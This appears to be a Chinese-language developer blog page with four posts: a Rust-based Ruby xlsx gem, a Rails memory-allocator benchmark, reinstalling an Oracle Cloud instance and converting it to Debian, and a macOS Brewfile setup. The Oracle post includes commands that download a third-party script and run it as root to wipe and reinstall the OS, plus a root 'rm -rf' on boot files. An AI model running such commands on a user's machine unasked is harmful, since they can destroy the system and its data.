Hackz

fast_xlsx：用 Rust 寫的 Ruby xlsx 產生器，比 caxlsx 快 9 倍

2026-10-03T00:00:00+08:00

Rails 專案幾乎都逃不掉「匯出 Excel」這個需求。最常見的選擇是 caxlsx，功能齊全，但資料一多就慢，記憶體也跟著暴衝。要快的話有 fast_excel，底層是 C 的 libxlsxwriter，速度確實好，只是安裝要編 C、走 FFI，日期不給格式就會顯示成一串數字，而且最後一次更新停在 2025 年 4 月。

fast_xlsx 是 fast_excel 的精神續作：一樣主打「快速逐列寫入、吃很少記憶體」，底層換成 Rust 的 rust_xlsxwriter，再用 magnus 包成 Ruby native extension。20,000 列的匯出只要 75 ms，比 caxlsx 快將近 9 倍。

跑分

Apple Silicon、Ruby 4.0.5，每個 gem 都用它自己最慣用的逐列寫入 API。20,000 列 × 5 欄（整數、字串、整數、Time、浮點數），建好並輸出成 String，取 7 次的中位數：

Library	時間	倍數	配置的 Ruby 物件
fast_xlsx（`memory: :constant`）	75 ms	1.0x	7
fast_xlsx（預設）	85 ms	1.1x	10
xlsxtream 3.1	173 ms	2.3x	561,740
fast_excel 0.5（constant_memory）	204 ms	2.7x	20,079
fast_excel 0.5	238 ms	3.2x	320,076
write_xlsx 1.15	592 ms	7.9x	1,483,899
caxlsx 4.5	671 ms	8.9x	745,122
rubyXL 3.4	2571 ms	34.1x	8,700,448

時間之外，最右邊那欄更值得看：整份檔案只配置了 7 個 Ruby 物件。每一列的值在 Rust 那邊就直接轉成儲存格，不會在 Ruby 這端產生一堆中間物件，GC 幾乎沒事做。

記憶體則是 200,000 列存成檔案，量峰值 RSS 比只建資料的 process 多了多少：

Library	每列字串都不同	字串大量重複
fast_xlsx（`memory: :constant`）	+1 MB	+1 MB
fast_xlsx（`memory: :low`）	+61 MB	+1 MB
fast_xlsx（預設）	+271 MB	+217 MB
fast_excel 0.5（constant_memory）	+10 MB	+9 MB
fast_excel 0.5	+182 MB	+151 MB

預設模式反而比 fast_excel 吃記憶體，原因是 rust_xlsxwriter 存檔時會在記憶體裡把每張工作表的 XML 組好（這樣多張工作表可以平行處理），不是從暫存檔串流出去。所以大量匯出請直接用 :constant 或 :low。

三種記憶體模式

FastXlsx::Workbook.new                     # :standard，全部放記憶體，可以任意順序寫入
FastXlsx::Workbook.new(memory: :constant)  # 寫完的列丟到暫存檔，字串直接存在儲存格裡
FastXlsx::Workbook.new(memory: :low)       # 寫完的列丟到暫存檔，字串放 Excel 的 shared string table

怎麼選：

:standard：一般報表、需要回頭改前面的列，或要用 autofit 自動算欄寬。
:constant：大量匯出、逐列往下寫。記憶體不管資料多大都是平的，也是最快的模式。缺點是 inline string 不是每個讀取工具都支援（例如 xsv）。
:low：大量匯出、而且檔案要給其他程式讀。地區、狀態這種重複字串多的資料，記憶體一樣很低，輸出也是標準格式。

兩種存到磁碟的模式都只能由上往下寫，回頭寫已經存到磁碟的列會直接丟 FastXlsx::Error，不會默默吞掉。

基本用法

require "fast_xlsx"

wb = FastXlsx::Workbook.new
ws = wb.add_worksheet("Sales")

header = FastXlsx::Format.new(bold: true, bg_color: "#DDEBF7", border_bottom: :thin)
money  = FastXlsx::Format.new(num_format: "#,##0.00")

ws.append(["Region", "Product", "Units", "Price", "Sold on"], format: header)
sales.each do |s|
  ws.append([s.region, s.product, s.units, s.price, s.sold_on],
            format: [nil, nil, nil, money, nil])
end

ws.autofit
ws.freeze_panes("A2")
ws.autofilter("A1:E#{sales.size + 1}")

wb.save("sales.xlsx")  # 或 wb.to_xlsx 拿到 binary String

格式也可以直接傳 Hash，相同內容的 Hash 會共用同一個格式：

ws.append(["Total", 1_234], format: { bold: true })
title = header.merge(font_size: 16)

Rails controller 裡大概長這樣：

def export
  wb = FastXlsx::Workbook.new(memory: :constant)
  ws = wb.add_worksheet("Orders")
  ws.append(["Order", "Customer", "Total", "Placed at"], format: { bold: true })
  Order.includes(:customer).find_each { |o| ws << [o.number, o.customer.name, o.total, o.created_at] }
  send_data wb.to_xlsx, filename: "orders.xlsx",
                        type: "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
end

除了寫資料，條件式格式、資料驗證（下拉選單）、表格、圖表、圖片、註解、工作表保護、列印設定、大綱群組也都有對應的 Ruby 方法，完整清單看 README。

幾個刻意的設計

日期不用設格式就是日期

用 fast_excel 時最常踩的坑：created_at 沒給 date format，打開 Excel 看到的是 46298.5 這種序號。fast_xlsx 對 Date 預設套 yyyy-mm-dd，Time 套 yyyy-mm-dd hh:mm:ss。如果你給的格式只有粗體沒有 num_format，也會自動補上日期格式，不會因為加了粗體就變回數字。

Rails 的 ActiveSupport::TimeWithZone 不是真正的 Time，0.8.1 之前會被當成字串寫出去，現在已經修好，created_at 直接丟進去就對了。

存檔不卡 GVL

匯出時大部分時間其實花在存檔：組 XML、壓縮。to_xlsx 和 save 做這段時會釋放 Ruby 的 global lock，所以在 Puma 或 Sidekiq 這種多執行緒環境下，一個大匯出不會把同一個 process 裡的其他 request 卡住。代價是 Ctrl-C、Timeout 要等存檔結束才會生效。

錯誤一律早點丟

選項打錯字、顏色格式不對、超過 Excel 上限（單格 32,767 字、1,048,576 列、16,384 欄）都會在寫入前就丟例外，不會寫到一半才壞，也不會默默忽略。錯誤類別也照規則分：型別錯丟 TypeError、超出工作表範圍丟 RangeError、值不合法丟 ArgumentError，工作簿本身做不到的事才丟 FastXlsx::Error。

預先編好的 gem

Linux（x86_64、aarch64，glibc 和 musl）、macOS（arm64、x86_64）、Windows x64 都有預編譯的 gem，bundle add fast_xlsx 就好，不用裝 Rust toolchain 也不用 C compiler。需要 CRuby 3.3 以上。

從 fast_excel 搬過來

大部分只是改名：

# fast_excel
workbook = FastExcel.open(constant_memory: true)
worksheet = workbook.add_worksheet("Orders")
worksheet.append_row(["Order", "Total", "Placed at"], workbook.bold_format)
send_data workbook.read_string, filename: "orders.xlsx"

# fast_xlsx
workbook = FastXlsx::Workbook.new(memory: :constant)
worksheet = workbook.add_worksheet("Orders")
worksheet.append(["Order", "Total", "Placed at"], format: { bold: true })
send_data workbook.to_xlsx, filename: "orders.xlsx"

完整的對照表和行為差異整理在 Migrating from fast_excel。

測試：連 Rust 端都跑 mutation test

Ruby 測試只能從外面打 API，Rust extension 裡的邏輯到底有沒有被測到不太好確認。所以除了用 cargo-llvm-cov 量 Ruby 測試跑過 Rust 程式碼的覆蓋率，還加上 cargo-mutants：它一次改 Rust 原始碼的一小處（把 < 換成 <=、把回傳值換掉之類），再跑整套 Ruby 測試，確認每個改動都會讓某個測試失敗。沒抓到的 mutant 就代表有行為沒人測，每週在 CI 上自動跑一次。

收尾

目前版本是 0.8.1，API 從 0.8 起凍結，0.8.x 只修 bug，實際用一陣子沒需要改動就會發 1.0。如果你的 Rails 專案還在用 caxlsx 匯出大報表，或卡在 fast_excel 的日期和安裝問題，可以換換看。

換掉 glibc malloc 真的能省 Rails 記憶體嗎？八條 allocator 實測

2026-09-13T00:00:00+08:00

「Rails 要不要換 jemalloc」是個講了十年的老問題，標準答案是「換，我們省了 30% RSS」。但那個數字大多來自很舊的 Ruby，也很少有人交代當時開幾個執行緒，或有沒有先動過 glibc 自己的參數。

我原本只想確認一件事：在 Ruby 4.0 上，jemalloc 到底還剩多少效果。

不過量測環境架都架了，就順手把其他 allocator 一起拉進來 —— tcmalloc、mimalloc、snmalloc 在 Ruby 上幾乎找不到有人實測過的數字，多跑幾組設定的代價只是多等幾個小時。

ruby-alloc-bench 就是這個實驗：同一台機器、同一個 workload、八組 allocator 設定，只用 LD_PRELOAD 替換，跑滿 5 小時。

八組設定

標籤	內容
`glibc-default`	`ruby:4.0-slim-trixie` 內建的 glibc malloc
`glibc-arena2`	同上，加 `MALLOC_ARENA_MAX=2`
`glibc-trim`	`MALLOC_ARENA_MAX=2` + `MALLOC_TRIM_THRESHOLD_=131072`
`jemalloc`	5.3.1，原始碼編譯
`tcmalloc`	gperftools 2.18.1，`libtcmalloc_minimal.so`
`mimalloc`	v3.5.1
`mimalloc-v2`	v2.5.2
`snmalloc`	0.7.5

會特別放 glibc-arena2 是有原因的：多數「換 jemalloc 省 30%」的案例，真正的變因很可能是 glibc 的 per-thread arena。glibc 的 arena 數量預設上限是 8 × 核心數，執行緒一多就各自開 arena，記憶體用量自然被撐開。如果一個環境變數就能追平差距，那答案可能就是那個變數，而不是多一個 C 函式庫的相依套件。

glibc-trim 則是另一個常被忽略的旋鈕。RSS 降不下來的 Rails process，有不少情況並不是碎片化，而是 glibc 把 free 掉的記憶體留著不還給 OS，MALLOC_TRIM_THRESHOLD_ 決定的就是它什麼時候放手。

結果

Vultr dedicated vCPU、2 核、Debian 13、glibc 2.41、Ruby 4.0.6、YJIT 開啟。1200 秒 × 3 輪 × 8 組設定，約 4800 萬次 request。全程 CPU steal 維持在 0.003%，確認機器的確是獨佔的。

八組設定的 RSS 隨時間變化，灰色區塊是計分視窗

allocator	RSS 中位數	vs glibc	req/s	p99 ms	major GC	三輪離散度
jemalloc	174.5 MB	-5.1%	1751	17.79	36	1.33%
mimalloc-v2	174.6 MB	-5.0%	1695	17.52	39	0.96%
glibc-trim	176.4 MB	-4.1%	1651	18.86	63	0.33%
glibc-arena2	177.0 MB	-3.7%	1639	17.89	49	0.45%
glibc-default	183.9 MB	+0.0%	1662	18.04	52	0.04%
mimalloc (v3)	190.7 MB	+3.7%	1681	17.29	33	0.77%
tcmalloc	194.8 MB	+5.9%	1727	19.24	38	0.65%
snmalloc	195.5 MB	+6.3%	1750	16.65	40	0.57%

三輪之間的離散度最大 1.33%，而名次之間的落差橫跨 11.4 個百分點。以本次量測來說，這個排序比較像是訊號，而不是隨機波動。

幾個可以直接帶走的結論。

前兩名並列。 jemalloc 和 mimalloc v2 差 0.1 MB，落在雜訊範圍內，記憶體上可視為平手，要分勝負得看其他欄位：

	jemalloc	mimalloc-v2	誰贏
RSS 中位數	174.5 MB	174.6 MB	平手（差距 < 雜訊）
req/s	1751	1695	jemalloc（+3.3%）
p99 ms	17.79	17.52	mimalloc-v2（差距很小）
major GC	36	39	jemalloc
三輪離散度	1.33%	0.96%	mimalloc-v2

tiebreaker 落在 jemalloc：吞吐量在本次量測中最高（比 glibc 多 5.4%），major GC 次數也偏低。

同一個名字，兩種 allocator。 mimalloc v3 重寫了 free-list sharding，結果和 v2 差 16 MB：

	mimalloc-v2 (2.5.2)	mimalloc (3.5.1)
RSS 中位數	174.6 MB	190.7 MB
vs glibc	-5.0%	+3.7%
major GC	39	33

差距不是版本新舊，而是設計不同。你用套件管理程式裝到的是哪一個，就決定了實際跑起來是哪一種行為 —— 請明確 pin 版本。

glibc 自己的旋鈕已經吃掉大半好處，而且其中一個是陷阱。 三組 glibc 設定的差別只在環境變數，沒有新增任何相依套件：

# glibc-arena2
MALLOC_ARENA_MAX=2
# glibc-trim
MALLOC_ARENA_MAX=2 MALLOC_TRIM_THRESHOLD_=131072

設定	RSS	vs glibc	major GC	評價
預設	183.9 MB	+0.0%	52	基準線
arena 上限設 2	177.0 MB	-3.7%	49	CP 值最高的一步
再加 trim 門檻 128 KB	176.4 MB	-4.1%	63	多 0.4% 換 11 次 major GC

把記憶體還給 OS 會推高 malloc_increase，Ruby 因此更常觸發回收。最後那 0.4% 等於是用 CPU 換來的。

墊底的三組在本次量測中並不是被 GC 拖累，而是單純佔用較多記憶體：

allocator	RSS	vs glibc	major GC	是 GC 造成的嗎
mimalloc (v3)	190.7 MB	+3.7%	33	否，本次量測中最少
tcmalloc	194.8 MB	+5.9%	38	否，低於 glibc 的 52
snmalloc	195.5 MB	+6.3%	40	否，低於 glibc 的 52

比較可能的原因是這台機器的 THP 設成 always：這三者都大量使用 mmap，huge page 的粒度會把用量向上取整。在 madvise 的主機上結果可能不同，所以報告的 header 會記錄你量到的是哪一種。

為什麼是 5 個執行緒

這是本次實驗中最關鍵的變數之一。THREADS=5 是 Rails RAILS_MAX_THREADS 的預設值，也決定了 glibc arena 的比較看不看得出差異：glibc 會在每個執行緒第一次 malloc 時配一個 arena 給它，GVL 擋不住這件事 —— GVL 只是不讓它們並行執行而已。核心數只決定總量上限（8 × 核心），5 個執行緒並不會碰到那個上限。

執行緒數	典型情境	glibc arena 上限（2 核）	會不會碰到上限
1	單執行緒腳本	16	不會，這個比較看不出差異
5	Rails `RAILS_MAX_THREADS` 預設	16	不會，本次實測的位置
25	Sidekiq `concurrency: 25`	16	會，`MALLOC_ARENA_MAX` 才比較有發揮空間

所以如果 production 跑的是更寬的設定，就得自己掃一遍：

THREADS=25 ./bench/run.sh

那可能才是 MALLOC_ARENA_MAX=2 真正發揮價值的地方，5 執行緒的結果看不到。

量測設計上的幾個決定

決定	為什麼
Workload 用 yjit-bench 的 railsbench（Rails 8.1 + sqlite，SHA 有 pin），透過 `Rack::MockRequest` 在 process 內驅動	量到的是真實 Rails 的記憶體配置行為，不是自己模擬出來的形狀
5 個執行緒，刻意採用多執行緒	單執行緒不會出現多個 arena 的情況，而那正是整個比較的主題
不用 Puma cluster mode	`fork` 之後 parent 和 child 共用 page，RSS 會重複計算，那得改量 PSS，屬於另一個 benchmark
主要指標是暖機後的 RSS 中位數	Peak RSS、req/s、p99 都有記錄，但決策不掛在那上面
每次取樣都記 `GC.stat`	才分得出「用比較少記憶體」和「讓 Ruby GC 更辛苦」
p99 用 pre-allocated 的 per-thread ring buffer，跑完才排序	中途計算百分位數，等於在被量測的 process 裡面配記憶體
用 `--cpuset-cpus=0-1` 而不是 `--cpus=2`	`--cpus` 是 CFS quota，不會改變 `nproc`，glibc 仍會照實體核心數計算 arena 上限
每組設定先 preflight，grep `/proc/self/maps`	被默默忽略的 `LD_PRELOAD` 會產出八份一模一樣的 glibc 結果
開跑前先印 CPU steal	超過 1% 通常代表是共享 vCPU，不管產品頁怎麼寫，timing 欄位都不可信
每輪獨立跑，中間有 cooldown	避免前一輪的殘留狀態影響下一輪

跑起來

./bench/run.sh                          # 1200s × 3 rounds × 8 lines ≈ 5h
DURATION=120 ROUNDS=1 ./bench/run.sh    # 快速驗證
WORKLOAD=synth ./bench/run.sh           # 不跑 Rails，改用模擬的記憶體配置負載

# 補跑新的設定，不重跑已經量過的
ONLY="glibc-trim mimalloc-v2 snmalloc" ./bench/run.sh

WORKLOAD=synth 是不跑 Rails 的版本：自己產生大量短命的字串和 hash，再把其中一小部分留進固定大小的 pool，模擬出 Rails 那種「大量配置、少量長壽」的記憶體使用形狀。適合在沒辦法裝 Rails 的環境裡做比較。

執行結果會輸出到 results/：每輪一個 CSV，加上 REPORT.md 和 rss-<workload>.svg。原始 CSV 刻意不進 repo —— harness 本身才是產出物，懷疑數字的人可以在自己的硬體上跑一次，那比相信我這張表更有價值。

這份實測沒有說的事

限制	可能的影響
只有一種 workload（railsbench）、5 執行緒、單一 process	Sidekiq 那種 `concurrency: 25` 的形狀會給 glibc arena 大得多的發揮空間，差距可能拉開
跑到 1200 秒，曲線還在非常緩慢地往上爬	接近穩態但不是完全穩態；名次比絕對數字更早收斂
THP 設成 `always`	在 `madvise` 的主機上，墊底那三組未必是這個名次
沒有測 Ruby 端的 GC 調校	`RUBY_GC_OLDMALLOC_LIMIT_MAX`、compaction 可能比換 allocator 更划算，而且不用多一個相依套件

所以該換嗎

你的情況	該做什麼	拿到什麼
從沒動過 glibc 參數	先設 `MALLOC_ARENA_MAX=2`	-3.7%，不新增相依套件，本次量測中最划算的一步
已經設過 arena，還想再擠	換 jemalloc	再多 1.4 個百分點，加上本次量測中最高的吞吐量
打算用 mimalloc	明確 pin v2	不要讓套件管理程式替你決定跑的是 v2 還是 v3
想加 `MALLOC_TRIM_THRESHOLD_`	先量 CPU	0.4% 記憶體換 11 次 major GC，不一定划算
Sidekiq / 較寬的執行緒設定	自己用 `THREADS=25` 跑一次	5 執行緒的結論在那裡不適用

5 執行緒的 Rails 差距大約 5%，25 執行緒的 Sidekiq 是另一個故事，而那個故事得你自己跑一次才知道。

Oracle Cloud 不重建 Instance 直接重灌系統

2026-07-15T00:00:00+08:00

OCI Console 上沒有「重灌」按鈕，這件事困擾我很久。一般雲端環境要重灌就 terminate 再開一台，沒什麼大不了。但 OCI Always Free 不一樣：免費額度有限，ARM instance 尤其容量難搶，terminate 之後不一定開得回來，很多人就是卡在 "Out of capacity" 反覆刷好幾天都搶不到。就算搶到了，IP 會變、環境要重弄，等於白費。所以能不 terminate 就不 terminate。

後來發現 OCI 其實有個 Replace Boot Volume 功能，可以直接換掉開機磁碟（boot volume），instance 不用終止，OCI 層的網路設定也會保留。整個過程在 Console 上點幾下就搞定。不管是想乾淨重灌 Ubuntu、升級到新版 image，還是先把系統弄乾淨再轉 Debian，第一步都是 Replace Boot Volume。

Replace Boot Volume

這個功能在 instance 詳情頁的 More Actions → Replace Boot Volume。原理很簡單：OCI 會把 instance 停掉，換掉 boot volume，再開機回來。

這裡要先分清楚兩件事，不然很容易誤會：

會保留	不會保留
instance 本身（不用 terminate，OCID 不變）	舊 boot volume 裡的作業系統
Public / Private IP、VNIC、VCN、subnet、security list	你在系統裡裝的套件、改過的設定檔
shape（CPU / RAM 配置）	使用者帳號、SSH port 等自訂內容
Block Volume 等額外掛載的磁碟	存在 boot volume 上的資料

OCI 資源與網路層設定會保留，但舊 boot volume 裡的作業系統設定與資料不會保留。 開機回來是一個全新的系統，該備份的東西請先備份。

官方文件寫了一堆限制，其中一條是只能換成同一個 Linux 發行版（distro）。Windows 和 Marketplace image 則是真的換不了。

實測上只要拿到目標 image 的 OCID 填進去，跨發行版也可行，但這不在官方支援範圍內。能不能順利開機依 image 與架構而定，有相容性風險，請自行評估。

查 Image OCID

Replace Boot Volume 最關鍵的一步是拿到目標 image 的 OCID。最簡單的方式是直接去 OCI 的 Image 目錄頁，這頁列出所有 platform image，每個 image 點進去下方都有各 region 對應的 OCID 表格，找到你 instance 所在的 region 複製就行，不用裝任何東西。

挑 image 前先確認 CPU 架構對得上。 OCI 的 Ampere A1 是 ARM64（aarch64），E2 / E3 / E4 這類是 x86_64，兩者的 image 不能互換。同一個發行版在目錄頁通常會分開列出 aarch64 與 x86_64 版本，複製 OCID 之前先看清楚是哪一個，架構不符會直接開不起來。

如果習慣用 CLI，也可以查：

oci compute image list \
  --compartment-id <compartment_ocid> \
  --operating-system "Canonical Ubuntu" \
  --all \
  --query "data[*].{name:\"display-name\", id:id}" \
  --output table

想換其他發行版就把 --operating-system 改掉。compartment OCID 在 Console 的 Identity → Compartments 裡找。

Console 操作

進入 instance 詳情頁，點 More Actions → Replace Boot Volume
Replace by 選 Image，Apply image by 選 Input OCID，貼上剛查到的 OCID
Preserve Boot Volume 建議先開 Enabled，舊 boot volume 會保留下來，萬一新系統有問題還能掛回去救資料
點 Replace

第 3 步要留意成本：Preserve 起來的舊 boot volume 會繼續以 Block Volume 的形式占用容量。Always Free 的 Block Volume 總額度有限（含 boot volume 在內），留著兩顆可能就超出額度，超出的部分會開始計費。確認新系統沒問題之後，記得回 Console 把舊的 boot volume 刪掉。

OCI 會自動停機、換 volume、再開機，大概 5 到 10 分鐘。開完之後 cloud-init 會自動設定好 SSH 金鑰和網路，用原本的 key 就能連回去。

CLI 操作

不想點介面的話，CLI 也行。先 oci setup config 設好，然後準備一個 JSON：

cat > replace.json << 'EOF'
{
  "sourceDetails": {
    "sourceType": "image",
    "imageId": "ocid1.image.oc1.ap-tokyo-1.yyyyy",
    "bootVolumeVpusPerGB": 10
  }
}
EOF

oci compute instance update \
  --instance-id <instance_ocid> \
  --from-json file://replace.json

instance OCID 在 instance 詳情頁的 Overview 裡。

重灌後

系統是全新的，cloud-init 會把 SSH 金鑰和網路設好，連上去第一件事先更新：

sudo apt update && sudo apt upgrade -y

之前改過的 SSH port 或其他自訂設定，因為都在舊的 boot volume 上，全部會還原成 image 預設值，要重新設。到這裡如果只是要重灌 Ubuntu 或升級 image，就搞定了。但如果目標是 Debian，OCI 沒提供 Debian platform image，Replace Boot Volume 換不上去，接下來要靠 debi。

用 debi 轉 Debian

OCI 的 platform image 只有 Ubuntu、Oracle Linux、CentOS 這些，偏偏沒有 Debian。想裝 Debian 的話，先用 Replace Boot Volume 灌一個乾淨的 Ubuntu（或任何 OCI 有的 Linux image），再用 debi 把它轉成 Debian。debi 的原理是把 Debian installer 注入 GRUB，重開機後全自動安裝成 minimal Debian，README 直接寫了「Perfect for converting Oracle Cloud's Ubuntu images to Debian」。

debi 是第三方腳本，不是 OCI 官方支援的 Debian 安裝方式，OCI 也不保證轉換後的系統可以正常運作。下面的步驟是實測上可行的做法，但成功與否依 image、架構與 debi 版本而定，請當成有風險的操作來看待。

來源 OS 不限 Ubuntu，只要是 KVM 環境、有 GRUB 2、有 root 權限就能跑。

curl -fLO https://raw.githubusercontent.com/bohanwood/debi/master/debi.sh
chmod +x debi.sh
sudo ./debi.sh --cloudflare --authorized-keys-url https://github.com/yourusername.keys
sudo reboot

重開機後 GRUB 自動進入 Debian installer，全自動跑完大概 5 到 10 分鐘。預設裝 Debian 13 (trixie)，建一個 debian 帶 sudo 的使用者。想改版本或設定就加參數：

sudo ./debi.sh --version 12 --user root --bbr --ssh-port 2222

安裝過程想看進度的話加 --network-console，重開機後等兩三分鐘用 ssh installer@your-ip 連進去看。跑出去想取消也行，重開機前把 GRUB 改回來就好：

sudo rm -rf /etc/default/grub.d/zz-debi.cfg /boot/debian-*
sudo update-grub

debi 在 OCI 上的坑

debi 能用，但在 OCI 上踩過不少坑，用的時候要有心理準備：

UEFI 是最大的問題。debi 官方把 AWS EC2 標為「BIOS only，UEFI 尚未支援」，而 OCI 是 UEFI 開機，AMD 和 ARM 的 shape 都是。雖然有 --efi 參數可以強制 EFI，但 UEFI 環境下翻車的機率比 BIOS 高不少。

Serial Console 裝完可能會壞掉（Issue #152，截至撰文時尚未修復）。instance 本身正常，SSH 能連，但 OCI 的 Console Connection 看不到開機輸出，等於失去一條救援管道。解法是手動改 GRUB：

# /etc/default/grub
GRUB_TERMINAL_INPUT="console serial"
GRUB_TERMINAL_OUTPUT="gfxterm serial"
GRUB_SERIAL_COMMAND="serial --unit=0 --speed=115200"
GRUB_CMDLINE_LINUX_DEFAULT="splash console=tty0 console=ttyS0,115200"

改完跑 sudo update-grub。

上面那組設定是 x86_64 的寫法。serial device 的名稱依架構與平台而定，ttyS0 不是 ARM 與 x86 通用的裝置名稱，ARM64 平台上也可能是 ttyAMA0 之類的其他名稱。動手改之前，先在還能開機的系統上確認實際的 serial device（例如看 dmesg 或 /proc/consoles），填錯等於白改，也可能把原本還能用的 Console 輸出弄丟。

AMD micro（VM.Standard.E2.1.Micro，1GB RAM）上也多人回報 debootstrap 報錯（Issue #97），作者在較大規格上無法重現，可能跟低資源有關，可以試 --force-lowmem 1。

ARM 以前也有過裝完重開機黑屏的問題（#7、#14），部分已修，但 ARM + UEFI 的組合仍不算穩定。另外 IPv6 可能要額外處理（Issue #88），LVM/RAID 不支援（Issue #134）。

跑 debi 之前先開 --network-console，出問題至少還能 SSH 進去救。第一步的 Replace Boot Volume 記得開 Preserve Boot Volume，萬一 debi 失敗了還能換回乾淨的 Ubuntu 重新來過。

重灌 macOS 之後，我一定會裝回來的套件（2026）

2026-07-07T00:00:00+08:00

每次重灌 macOS 最煩的不是灌系統，是灌系統之後把一堆軟體一個一個裝回來。以前都是憑記憶，裝到一半才想起漏了什麼。後來養成習慣，把整台機器在用的套件全部丟進一份 Brewfile，重灌完只要一行 brew bundle install 就復原九成。

這篇整理目前這台機器實際在跑的 Brewfile，順便記一下怎麼產生跟還原，還有幾個容易漏掉的地方。

產生自己的 Brewfile

不用手動維護清單，brew bundle dump 會直接把目前裝好的 formula、cask、tap、npm 套件全部掃出來寫成檔案：

brew bundle dump --file=~/Brewfile

重灌新機之後，先裝 Homebrew，順手把分析回報關掉，再把這份 Brewfile 丟回去：

brew analytics off
brew bundle install --file=~/Brewfile

CLI 工具、GUI App（cask）、甚至 npm install -g 的套件都會照著清單一次裝完，不用一個一個回想裝過什麼。

目前在用的 Brewfile

tap "7a6163/tap", trusted: { formulae: ["rubyfast"] }

# CLI 工具
brew "atuin"       # 改良版 shell history，支援搜尋、同步
brew "bat"         # cat 的替代品，有語法高亮
brew "bottom"      # 跨平台系統資源監控
brew "broot"       # 樹狀瀏覽 + 互動式檔案管理
brew "btop"        # htop 的替代品，圖形化系統資源監控
brew "dust"        # du 的替代品，磁碟用量一目瞭然
brew "eza"         # ls 的現代化替代品
brew "fd"          # find 的更快替代品
brew "fzf"         # 命令列模糊搜尋
brew "git"
brew "gping"       # ping 的替代品，即時繪製延遲折線圖
brew "helix"       # 模態編輯器
brew "hyperfine"   # 指令效能 benchmark 工具
brew "jq"          # JSON 處理
brew "libyaml"
brew "mas"         # Mac App Store CLI，讓 brew bundle 也能抓 App Store 裝的軟體
brew "mise"        # 語言版本管理（asdf 的 Rust 版）
brew "nomino"      # 批次檔案重新命名，用 regex 或 CSV 對照表一次改一整批
brew "procs"       # ps 的替代品，輸出更好讀
brew "ripgrep"      # grep 的更快替代品
brew "starship"    # 跨 shell 的 prompt
brew "tldr"        # 精簡版 man page
brew "zellij"      # terminal multiplexer
brew "zimfw"       # zsh plugin manager
brew "zoxide"      # cd 的更快替代品
brew "7a6163/tap/sigilo", trusted: true  # SSH agent，簽章要 Touch ID

# GUI App
cask "alfred"                       # 應用程式啟動器
cask "bitwarden"                    # 密碼管理
cask "font-jetbrains-mono-nerd-font"
cask "ghostty"                      # GPU 加速的終端機
cask "iina"                         # 影片播放器
cask "keka"                         # 解壓縮工具
cask "microsoft-teams"
cask "mole-app"                     # 系統清理最佳化
cask "navicat-premium"              # 資料庫管理工具
cask "obsidian"                     # 筆記
cask "orbstack"                     # Docker Desktop 替代品
cask "plex"                         # 家庭媒體伺服器播放端
cask "setapp"
cask "shottr"                       # 截圖標註工具
cask "squirrel-app"                 # Rime 輸入法引擎
cask "steam"
cask "sublime-text"                 # 文字編輯器
cask "surge"                        # 網路工具箱
cask "telegram"
cask "thebrowsercompany-dia"        # 瀏覽器
cask "zed"                          # 多人協作編輯器
cask "zen"                          # Gecko 核心瀏覽器

# Mac App Store 軟體（裝了 mas 之後自動掃出來）
mas "Bob", id: 1630034110
mas "LINE", id: 539883307
mas "OpenCat", id: 6445999201
mas "PasteNow", id: 1552536109
mas "Things", id: 904280696
mas "UpNote", id: 1398373917
mas "Wipr", id: 1662217862

# npm 全域套件
npm "aicommits"                     # AI 產生 commit message

Shell：zimfw、starship，還有幾個 alias

zsh 的 plugin 交給 zimfw 管，設定寫在 ~/.zimrc，只列真的會用到的模組：

# ~/.zimrc（節錄）
zmodule environment
zmodule git
zmodule input
zmodule termtitle
zmodule utility

zmodule zsh-users/zsh-completions --fpath src
zmodule completion

zmodule zsh-users/zsh-syntax-highlighting
zmodule zsh-users/zsh-history-substring-search
zmodule zsh-users/zsh-autosuggestions

~/.zshrc 裡接進來只要幾行，init.zsh 會依 .zimrc 的修改時間自動判斷要不要重建：

ZIM_HOME=${ZDOTDIR:-${HOME}}/.zim
if [[ ! ${ZIM_HOME}/init.zsh -nt ${ZIM_CONFIG_FILE:-${ZDOTDIR:-${HOME}}/.zimrc} ]]; then
  source /opt/homebrew/opt/zimfw/share/zimfw.zsh init
fi
source ${ZIM_HOME}/init.zsh

prompt 交給 starship，一行 eval 就解決：

eval "$(starship init zsh)"

沒另外寫 ~/.config/starship.toml，吃預設 preset 就夠用，git 分支狀態、指令執行時間都內建。

eza、bat 裝上之後，順手把原生的 ls、cat 蓋掉，反正這幾行只在互動式 shell 生效，script 用 /bin/sh 跑不會被影響：

alias ls='eza --icons'
alias ll='eza -l --icons'
alias la='eza -la --icons'
alias lt='eza --tree --icons'
alias cat='bat'

broot 比較特別，裝完還要接一行 shell hook 才能用 br 直接切換目錄，跑過 broot --install 它會自動幫你加進 ~/.zshrc：

source /Users/zac/.config/broot/launcher/bash/br

工具取捨

CLI 工具能找到 Rust 重寫版的話幾乎都會換：bat、eza、ripgrep、zoxide、fd、dust、procs、gping、nomino，速度跟體驗都比原生好一截，指令幾乎不用改習慣。hyperfine 拿來比較指令效能，改完設定或寫腳本想知道有沒有變快，跑一次就有統計數字，不用自己土法煉鋼算時間。系統監控用 btop，圖形化的 CPU、記憶體、網路流量一目瞭然，比 htop 好看也好讀。

終端機編輯器換成 Helix，內建 LSP、多游標、tree-sitter，開箱即用幾乎不用額外設定。mise 取代掉以前用的 asdf，管 Ruby / Node 版本快很多。容器這塊用 orbstack 直接換掉 Docker Desktop，開機資源佔用差很多。中文輸入法靠 squirrel-app（Rime），這個不裝的話中文輸入會很痛苦。

私有的小工具像 sigilo 直接放進自己的 tap，一起被 brew bundle 管起來，不用另外裝。裝了 mas 之後，只要登入過 App Store，brew bundle dump 會自動把裝過的 App Store 軟體列成 mas "App 名稱", id: 12345，重灌時一起裝回來，不用再手動一個個回想以前裝過什麼。brew analytics off 這行也不能漏，裝完 Homebrew 就先跑一次，不然每次 brew install 都會送統計資料出去。

git 的部分也順手處理掉：~/.gitconfig 的 email 用 GitHub 配發的 noreply 信箱，commit 紀錄不會外洩真實 email；另外設一份全域 ignore，.DS_Store、.idea/、.vscode/ 這類跟專案無關的檔案不用每個 repo 各自寫一次：

git config --global core.excludesfile ~/.gitignore_global

~/.gitignore_global 內容：

# macOS
.DS_Store
.AppleDouble
.LSOverride

# Editor
.idea/
.vscode/
*.swp

# OS generated files
Thumbs.db

重灌後容易漏掉的地方

brew bundle install 能復原軟體本身，但有幾件事它幫不上忙。

